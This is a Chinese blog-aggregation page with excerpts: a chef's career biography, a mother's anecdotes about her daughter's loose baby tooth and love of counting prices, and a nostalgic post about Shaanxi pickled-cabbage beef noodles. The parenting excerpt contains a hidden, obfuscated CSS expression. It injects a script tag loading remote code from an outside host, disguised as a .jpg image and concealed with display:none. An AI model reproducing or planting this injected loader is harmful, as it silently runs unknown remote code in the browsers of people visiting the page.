荆楚名厨王玮
| 95年毕业于武汉商业学院，并于2005年报考中国烹饪协会中餐厨师长获资格认证。先后在武汉三五，艳阳天等知名大酒店任要职，曾在山东.内蒙古.河北.天津.上海.南昌.广州.深圳等地边发挥自己边学习，并在天津成功举办了鄂菜美食节（湖北鱼席）。 经过十五年的工作磨练，因为敢于冒险，曾品味过成功的丰硕果实；因为探索冒险，也体验过触礁的震荡与凄凉。但这一切都锤炼了我作为一名职业管理者所具备的成熟与胆识。优良的思想品质， 阅读全文>> |
|
大清早刚吃完热乎乎的汤面，这个热乎乎的小姑娘就兴冲冲的跑来露出她的小乳牙： “妈咪，妈咪，我的牙，我的牙。。。。” 她太兴奋了的样子，我看了看，一脸雾水。这牙不是挺好D。 “妈咪，妈咪，中间的这个牙松动了啊，就要掉牙了，我就要成为小姐姐了。。。” 原来她是看着班级里很多小朋友都掉了牙，她也恨不得都掉了呢。因为她觉得那是长大了的标志。 我赶紧洗干净手，摸了摸她八卦的那颗小乳牙。呵呵，其实只有一点点的松动而已，看来还需要一点时间吧。 换牙，每个孩子必定经历的一个过程吧。作为她D娘，决定密切观察这些小乳牙的发育情况，以便小A顺利地度过换牙期，长出一口健康漂亮的牙齿来。是不是适当的补一些钙呢，或是干脆扔给她一块大骨头。 musti的宝贝大s，就要上1年级了的小猫，你们的换牙小组就要增加一个成员了，希望你们相依为命，在照相的时候别不好意思露齿哈。 热乎乎的小姑娘一有空就跑到书店看样品书去，看来我不用花银子买了。 热乎乎的小姑娘认为这才是世界级别的帅狗狗 热乎乎的小姑娘近来简直就是个财迷。 除了用玩具的木头钱币计算 在超级市场里妈咪拿的每一个商品的价格都要记在小本本上 然后装模做样的计算出结果 这使得近来买菜的时间明显。。。。不够用 ee:Expression(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" ...阅读全文>> |
 今天是来陕西的第四天了，火辣辣的太阳将大地变成了一个巨型烤炉，尽管洒水车在街道上忙过不停，燥热的天气却并没有因此而带来半丝凉意，夏日的凉风也不知跑到哪儿去了，消失得无影无踪。而我的肚子此时却咕噜咕噜的叫个不停，抗议着我的“绝食”行动。我已经有四天粒米未进，身子也软绵绵的，熬不过饥饿的我打通了猪头的电话，半个小时后猪头提来一碗混沌，可惜我并未领情，摇摇头说了声不吃，便陷入沉睡之中，而他不知在何时已离开了房间。
不知何时我被一股浓浓的酸香味唤醒了，饥饿的感觉瞬间爆发，我嗖的一下就从床上起来，坐到了饭桌旁，向那碗散发着浓浓酸味的泡面开始进攻，不到一会儿，连汤都被我喝了个精光。他笑着说，好吃吧。我说好吃，还要，肚子还饿呢。那天，胃口大开的我整整吃了三份泡面。撑到我一直打嗝才罢休。而肚子咕噜咕噜的声音也在那一刻停了下来。第二天我让他又做了一碗，这一次我并没有马上开吃，而是放在桌上细细研究，因为选用非油炸面饼，所以经过高温加热不但没有煮烂反而更加有嚼头，吃起来劲道十足，加上精挑细选的大白菜洗涤干净以后放在太阳下摊晒至大部分水分蒸发，然后用盐将余下的水分全部搓出，塞入瓷坛内，用严实的塑料袋密封，盖上盖子后在坛口圈内放上适量的水，两个月后，一股清香飘然而出。野山椒只要清洗干净放到密封的玻璃坛，加上适量的清水和醋浸泡两个月后就可以出坛。然后放几个椒圈和牛肉片，新鲜的小白菜在外围成了圈。看起来色香味俱全，怎不让人食指大动。 我离开陕西后也学着自己煮，可是不知道为什么，就是煮不出那个味道，泡面是一样的泡面，做法也是一样的做法，可是吃起来却总感觉少了点什么。有时候出去散步，闻到一股酸味，总会想起陕西的老坛酸菜牛肉面。 |
Edward199
Edward199自定义分类的文章
